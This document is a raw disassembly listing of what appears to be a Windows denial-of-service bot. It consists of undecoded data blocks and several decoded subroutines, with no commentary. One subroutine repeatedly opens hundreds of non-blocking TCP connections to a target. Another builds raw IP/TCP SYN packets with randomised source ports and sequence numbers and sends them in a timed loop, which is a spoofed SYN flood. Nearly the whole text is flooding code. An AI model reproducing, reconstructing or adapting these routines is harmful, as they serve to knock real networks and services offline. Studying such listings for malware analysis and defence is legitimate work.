		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22CD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4D080415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43FA34o
		dd 15FF5D75h, 4D07B8h, 44858D50h, 68FFFFFCh, 43B4DCh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022CD0h, 0FFFE4885h,	15FF50FFh
		dd 4D0864h, 75FFF883h, 44858D55h, 68FFFFFCh, 43B4BCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Ch, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 82415FFh, 8966004Dh
		dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004D08h,	4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	359805C6h
		dd 0FF45004Dh, 4D082415h, 0D47D3900h, 359AA366h, 8966004Dh
		dd 4D359C1Dh, 3D896600h, 4D359Eh, 35A005C6h, 8880004Dh
		dd 4D35A11Dh, 3D896600h, 4D35A2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0A41D8901h, 5B004D35h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4D086415h
		dd 35A4A300h, 458B004Dh, 35A8A3E8h, 0E3E8004Dh,	99000087h
		dd 100B9h, 88F9F700h, 4D35AC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4D35ADh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4D35AE3Dh, 1D896600h, 4D35B2h, 15896642h
		dd 4D35B0h, 8795E8h, 0FFB99900h, 0F7000000h, 0B46852F9h
		dd 0E8004D35h, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4D3598h, 0FFFC75FFh, 4D088815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004D08h
		dd 4D07B815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43B47468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022CCEh, 15FFFC75h, 4D08BCh, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 43B42868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022CCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h
		dd 89004D07h, 858D0845h, 0FFFFFF40h, 6415FF50h,	8B004D08h
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h
		dd 3B004D08h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 6468FFFFh, 500043B5h, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2CCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4D073Ch, 0C0753B46h,	75FFDA7Ch, 0DC15FF08h, 8D004D08h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 43B53868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22CCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D391E800h
		dd 50900227h, 8493E8h, 116A5900h, 26A026Ah, 8A415FFh, 0D88B004Dh
		dd 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h,	50858D0Ch
		dd 66FFFFFFh, 2F045C7h,	15FF5000h, 4D0864h, 89FFF883h
		dd 75750845h, 0FF50858Dh, 0FF50FFFFh, 4D08A815h, 75C73B00h
		dd 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0B868FFFFh, 500043B5h
		dd 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh
		dd 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 65A4E8FFh
		dd 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h, 0E075FF00h
		dd 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Ch, 0EB008B0Ch
		dd 8458D03h, 7D39008Bh,	0F44589DCh, 0DBE81175h,	99000083h
		dd 0FFDCB9h, 42F9F700h,	0FF03EB52h, 15FFDC75h, 4D0824h
		dd 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h, 0DC453900h
		dd 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h,	0D04589D8h
		dd 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h, 0FFB99900h
		dd 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh, 458BE67Ch
		dd 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h,	5FE85750h
		dd 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh, 0FEFCF085h
		dd 0FF5350FFh, 4D088815h, 0D875FF00h, 0CA5AE890h, 754E0226h
		dd 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h, 42F9F700h
		dd 2415FF52h, 66004D08h, 0EBF24589h, 50858DA1h,	50FFFFFFh
		dd 0FCCC858Dh, 8C68FFFFh, 500043B5h, 82A5E8h, 0CC48300h
		dd 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh,	0FED0858Dh
		dd 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh, 0CC858D14h
		dd 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h, 575959FFh
		dd 0C9DAE890h
		db 2Ch,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 0B5E068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 3DE89056h, 5F022CC9h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4D0824
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2680000h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 43B60Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2CC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4D0794
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4D08C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4D0804
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4D0824
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4D0824
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4D0824
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4D0824
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A03A1h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27A0000h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4D0824
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4D0824
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4D0820
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4D0824
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4D0888
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27A0000h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43B634
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4D08BC
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4D077C
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004D08h
		dd 5DE8h, 50595900h, 0FC6C858Dh, 5468FFFFh, 500043B6h
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E9E85659h, 90022CC3h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 83815FFh, 75FF004Dh
		dd 0A815FFFCh, 8B004D08h, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4D08A4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 415FFFCh, 0BE004D08h, 200h, 77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 82415FFh, 8966004Dh
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004D08h,	0E2458966h
		dd 82415FFh, 8966004Dh,	5D88DE45h, 7B20E8E4h, 0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 88815FFh
		dd 1AE9004Dh, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4D08BC15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4D08A4h
		dd 89FFF883h, 6675FC45h, 7B815FFh, 8D50004Dh, 0FFFBC085h
		dd 0B76C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 2CC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4D080415h, 0FFF88300h, 15FF6675h, 4D07B8h
		dd 0C0858D50h, 68FFFFFBh, 43B734h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22CC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4D086415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 43B71468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022CC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4D0824h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4D086415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 82415FFh
		dd 9D39004Dh, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 86415FFh, 4589004Dh
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh
		dd 66004D08h, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 2415FF52h, 68004D08h, 12345678h, 0E8458966h,	82015FFh
		dd 4589004Dh, 44858DECh, 68FFFFFEh, 430508h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 430348h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42C198h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4D0824h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	2415FF06h
		dd 66004D08h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4D088815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0BC15FFFCh, 0FF004D08h, 4D07B815h, 858D5000h
		dd 0FFFFFDC4h, 500875FFh, 43B6C468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
